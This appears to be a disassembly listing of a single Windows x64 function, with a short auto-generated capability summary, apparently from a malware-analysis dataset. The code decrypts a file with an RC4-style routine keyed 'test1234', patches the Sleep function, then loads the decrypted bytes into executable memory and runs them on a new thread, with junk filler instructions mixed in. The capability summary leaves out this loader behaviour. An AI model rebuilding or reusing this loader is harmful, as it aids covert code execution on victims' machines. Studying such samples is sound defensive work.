Function at 0x180001050
Capabilities:
Get file size
Link many functions at runtime
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x180019008]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov bl, bl
mov cl, cl
mov bl, bl
mov dl, dl
mov al, al
mov cl, cl
mov r14d, 0x100
lea rcx, [rsp + 0x60]
mov r8d, r14d
xor edx, edx
call fcn.180002750
xor esi, esi
call fcn.1800517d2
mov dl, dl
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1800010d7
jmp 0x1800014fc
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x2b0], r13
mov bl, bl
mov bl, bl
mov dl, dl
mov cl, cl
mov dl, dl
mov cl, cl
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
mov rdi, 0xffffffffffffffff
cmp eax, 0xffffffff
je 0x180001150
mov ecx, r13d
lea edx, [rdi + 2]
add ecx, 1
cmovb rcx, rdi
call fcn.180005364
mov r12, rax
test rax, rax
je 0x180001150
lea r9, [rsp + 0x54]
mov dword [rsp + 0x54], esi
mov r8d, r13d
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180001160
mov rcx, r12
call fcn.180005350
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x1800014ec
mov qword [rsp + 0x2a0], rbx
lea rax, str.test1234
nop
inc rdi
cmp byte [rax + rdi], sil
jne 0x180001170
mov r8, r14
lea rcx, [rbp + 0x60]
xor edx, edx
mov ebx, esi
call fcn.180002750
mov r8d, esi
lea r10, str.test1234
mov r9, rsi
nop word [rax + rax]
xor edx, edx
mov byte [rsp + r9 + 0x60], r8b
mov eax, r8d
lea r9, [r9 + 1]
div edi
inc r8d
movzx eax, byte [rdx + r10]
mov byte [rbp + r9 + 0x5f], al
cmp r8d, r14d
jl 0x1800011a0
mov rdx, rsi
nop word [rax + rax]
movsx eax, byte [rbp + rdx + 0x60]
movzx r8d, byte [rsp + rdx + 0x60]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1800011f2
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x60]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x60], al
inc rdx
mov byte [rcx], r8b
sub r14, 1
jne 0x1800011d0
mov eax, esi
mov r8d, esi
test r13d, r13d
je 0x180001289
mov r11, r12
mov rbx, r13
inc eax
and eax, 0x800000ff
jge 0x180001232
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x60]
add r9, rcx
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x18000125a
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rsp + 0x60]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x60]
xor byte [r11], dl
inc r11
sub rbx, 1
jne 0x180001220
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, esi
mov qword [0x18001ac20], rax
lea rax, [0x180001010]
mov qword [rsp + 0x42], rax
mov word [rsp + 0x40], 0xba49
mov word [rsp + 0x4a], 0xff41
mov dword [rsp + 0x50], esi
mov dl, dl
mov cl, cl
mov dl, dl
mov bl, bl
mov dl, dl
mov al, al
call fcn.180043744
mov cl, cl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1800012e8
call fcn.180043749
mov al, al
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.1800517d7
mov cl, cl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov dl, dl
mov al, al
mov dl, dl
mov bl, bl
mov dl, dl
mov al, al
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x50]
mov edx, 0xd
mov rcx, rax
movups xmm0, xmmword [rax]
lea r8d, [rdx + 0x33]
movups xmmword [0x18001ac28], xmm0
call rdi
test eax, eax
je 0x180001350
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
movsd xmm0, qword [rsp + 0x40]
mov eax, dword [rsp + 0x48]
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov bl, bl
mov dl, dl
mov cl, cl
mov bl, bl
mov al, al
mov cl, cl
cmp qword [0x18001ac00], rsi
jne 0x180001389
call fcn.18004ff60
mov al, al
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
call fcn.18004ff65
mov bl, bl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001ac00], rax
mov bl, bl
mov dl, dl
mov bl, bl
mov al, al
mov bl, bl
mov cl, cl
cmp qword [0x18001ac00], rsi
je 0x1800013ba
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0xd
mov rcx, rax
call qword [0x18001ac00]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xd
call rdi
test ebx, ebx
jne 0x1800013de
lea eax, [rbx + 1]
jmp 0x1800014e4
mov dl, dl
mov al, al
mov cl, cl
mov cl, cl
mov cl, cl
mov cl, cl
call fcn.18007c651
mov bl, bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x18000140f
call fcn.18004bf36
mov cl, cl
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
call fcn.1800792aa
mov bl, bl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.1800792af
mov al, al
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.18007c64c
mov bl, bl
mov rcx, rdi
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov bl, bl
mov dl, dl
mov al, al
mov dl, dl
mov al, al
mov bl, bl
lea ecx, [r13 + 1]
mov r9d, 4
mov r14d, ecx
mov r8d, 0x1000
mov edx, ecx
xor ecx, ecx
call rbx
mov rbx, rax
test rax, rax
je 0x1800014ba
mov r8, r13
mov rdx, r12
mov rcx, rax
call fcn.180003170
lea r9, [rsp + 0x50]
mov r8d, 0x20
mov edx, r14d
mov rcx, rbx
call qword [rsp + 0x40]
test eax, eax
je 0x1800014ba
mov qword [rsp + 0x28], rsi
lea r8, [0x180001040]
mov r9, rbx
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call rdi
mov rsi, rax
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call fcn.180005350
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x2a0]
mov r12, qword [rsp + 0x2a8]
mov r13, qword [rsp + 0x2b0]
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.180001530
add rsp, 0x270
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret